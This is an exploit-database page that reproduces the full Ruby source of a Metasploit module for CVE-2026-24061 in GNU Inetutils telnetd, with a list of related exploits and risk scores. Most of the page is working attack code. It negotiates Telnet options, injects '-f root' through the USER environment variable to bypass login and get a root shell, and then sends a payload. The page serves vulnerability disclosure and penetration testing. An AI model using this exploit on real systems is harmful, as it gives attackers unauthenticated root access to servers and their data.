Lucene search
K

📄 GNU Inetutils Telnet Authentication Bypass

🗓️ 12 Feb 2026 00:00:00Reported by jheysel-r7, Kyu NeushwaisteinType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 108 Views

Exploits GNU inetutils telnetd to bypass authentication via USER env variable, granting root.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-24061
26 Jan 202605:05
githubexploit
GithubExploit
Exploit for CVE-2026-24061
26 Jan 202609:58
githubexploit
GithubExploit
Exploit for Argument Injection in Gnu Inetutils
16 Mar 202614:55
githubexploit
GithubExploit
Exploit for Argument Injection in Gnu Inetutils
6 Feb 202617:06
githubexploit
GithubExploit
Exploit for CVE-2026-24061
24 Jan 202613:18
githubexploit
GithubExploit
Exploit for CVE-2026-24061
24 Jan 202614:15
githubexploit
GithubExploit
telnet-pocs-2026
12 May 202609:25
githubexploit
GithubExploit
Exploit for Argument Injection in Gnu Inetutils
3 Mar 202604:31
githubexploit
GithubExploit
Exploit for Argument Injection in Gnu Inetutils
27 Jan 202620:04
githubexploit
GithubExploit
Exploit for CVE-2026-24061
22 Jan 202618:30
githubexploit
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
      Rank = GreatRanking
    
      include Msf::Exploit::Remote::Telnet
      include Msf::Exploit::Capture
    
      NEW_ENVIRON_IS = "\x00"
      NEW_ENVIRON_SEND = "\x01"
      NEW_ENVIRON_VAR = "\x00"
      NEW_ENVIRON_VALUE = "\x01"
      SPACE = "\x20"
      ZERO = "\x00"
      FF = "\xff"
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'GNU Inetutils Telnet Authentication Bypass Exploit CVE-2026-24061',
            'Description' => %q{
              The telnetd service from GNU InetUtils is vulnerable to authentication-bypass, tracked as CVE-2026-24061, in
              versions up to version 2.7. During Telnet authentication the SB byte can be sent to indicate sub-negotiation which
              allows for the exchange of sub-option parameters after both parties have agreed to enable a specific functional option.
              Environment variables can be sent as sub-options and it's the USER environment variable which introduces the
              authentication bypass in this scenario. When the USER environment variable gets sent to the GNU inetutils telnetd
              service during authentication, the variable gets appended without proper sanitization to an execv call to the
              /usr/bin/login binary. The login binary has a -f flag which skips authentication for a specific user. So the exploit
              sets the `USER` environment variable to -f root and the telnetd service responds with a root shell.
            },
            'Author' => [
              'jheysel-r7', # Metasploit module
              'Kyu Neushwaistein' # aka Carlos Cortes Alvarez, discovery
            ],
            'References' => [
              ['CVE', '2026-24061'],
              ['URL', 'https://github.com/DeadlyHollows/CVE-2026-24061-setup'], # Target setup
              ['URL', 'https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/'],
              ['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]
            ],
            'DisclosureDate' => '2026-01-26', # Python PoC (TCP)
            'License' => MSF_LICENSE,
            'Platform' => %w[unix linux],
            'Arch' => ARCH_CMD,
            'Privileged' => true,
            'Targets' => [
              [ 'Automatic', {} ]
            ],
            'Notes' => {
              'Reliability' => [UNRELIABLE_SESSION], # Should always return a session on the first run but after that a session is not guaranteed - this behaviour is specific to version 1.9.4 of InetUtils running on Ubuntu 18.04
              'Stability' => [CRASH_SAFE],
              'SideEffects' => []
            }
          )
        )
    
        register_options([
          Opt::RPORT(23),
          OptString.new('USERNAME', [true, 'Username on device to bypass authentication as', 'root']),
          OptString.new('TERMINAL_TYPE', [true, 'Terminal type to set when authenticating', 'XTERM-256COLOR']),
          OptInt.new('TERMINAL_SPEED', [true, 'Terminal speed to set when authenticating', 38400])
        ])
      end
    
      def recv_telnet(fd, timeout)
        data = ''
        bytes_to_send = ''
    
        begin
          data = fd.get_once(-1, timeout)
          return nil if data.blank?
    
          data_string = telnet_bytes_to_names(data)
          vprint_status('Incoming Bytes: ' + data_string)
    
          if @client_sends == 0
            bytes_to_send =
              IAC + WILL + OPT_AUTHENTICATION +
              IAC + DO + OPT_SGA +
              IAC + WILL + OPT_TTYPE +
              IAC + WILL + OPT_NAWS +
              IAC + WILL + OPT_TSPEED +
              IAC + WILL + OPT_LFLOW +
              IAC + WILL + OPT_LINEMODE +
              IAC + WILL + OPT_NEW_ENVIRON +
              IAC + DO + OPT_STATUS
          elsif @client_sends == 1
            bytes_to_send =
              IAC + DO + OPT_AUTHENTICATION +
              IAC + DONT + OPT_ENCRYPT +
              IAC + WONT + OPT_XDISPLOC +
              IAC + WONT + OPT_OLD_ENVIRON
          elsif @client_sends == 2
    
            # For more info on Telnet Linemode Option please reference: https://www.rfc-editor.org/rfc/rfc1184.html
            # The following binary blob was copied from a wireshark dump of a working PoC which used the telnet binary
            linemode_slc =
              "\x03\x01\x03\x00\x03\x62\x03\x04\x02\x0f\x05\x02\x14\x07\x62" \
              "\x1c\x08\x02\x04\x09\x42\x1a\x0a\x02\x7f\x0b\x02\x15\x0c" \
              "\x02\x17\x0d\x02\x12\x0e\x02\x16\x0f\x02\x11\x10\x02" \
              "\x13\x11\x00" + FF + FF + "\x12\x00" + FF + FF
    
            bytes_to_send =
              IAC + SB + OPT_AUTHENTICATION +
              ZERO + ZERO + ZERO +
              IAC + SE +
              IAC + SB + OPT_NAWS +
              "\x00\x7e" + "\x00\x3d" +
              IAC + SE +
              IAC + SB + OPT_LINEMODE +
              linemode_slc +
              IAC + SE +
              IAC + DO + OPT_SGA +
              IAC + SB + OPT_LINEMODE +
              "\x01\x14" +
              IAC + SE
            IAC + SE
          elsif @client_sends == 3
            print_status('Sending authentication bypass...')
            bytes_to_send =
              IAC + SB + OPT_TSPEED +
              NEW_ENVIRON_IS +
              "#{datastore['TERMINAL_SPEED']},#{datastore['TERMINAL_SPEED']}" +
              IAC + SE +
              IAC + SB + OPT_NEW_ENVIRON +
              NEW_ENVIRON_IS +
              NEW_ENVIRON_VAR + 'USER' +
              NEW_ENVIRON_SEND + '-f' + SPACE + datastore['USERNAME'] + # this is the auth bypass, sending '-f root' as the NEW_ENVIRON_VAR "USER"
              IAC + SE +
              IAC + SB + OPT_TTYPE +
              NEW_ENVIRON_IS +
              datastore['TERMINAL_TYPE'] +
              IAC + SE
          elsif @client_sends == 4
            bytes_to_send = IAC + WONT + OPT_ECHO
          elsif @client_sends == 5
            bytes_to_send = IAC + DO + OPT_ECHO +
                            IAC + WILL + OPT_BINARY +
                            IAC + WONT + OPT_LINEMODE
          elsif @client_sends == 6
            print_status('Sending payload...')
            bytes_to_send = payload.encoded + "\x0d\x0a"
          end
    
          if datastore['VERBOSE']
            if @client_sends == 6
              vprint_status('Outgoing Bytes:   ' + bytes_to_send)
            else
              vprint_status('Outgoing Bytes:   ' + telnet_bytes_to_names(bytes_to_send))
            end
          end
    
          fd.write(bytes_to_send) unless bytes_to_send.empty?
    
          @trace << data
          @recvd << data
          fd.flush
          @client_sends += 1
        rescue ::EOFError, ::Errno::EPIPE => e
          fail_with(Failure::UnexpectedReply, "Sending data failed with error: #{e}")
        end
    
        data
      end
    
      def exploit
        @client_sends = 0
        print_status('Connecting to telnet service... ')
        connect
      rescue ::Rex::ConnectionError => e
        print_error("Connection failed: #{e.message}")
      ensure
        disconnect
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Feb 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.19.8
EPSS0.91526
SSVC
108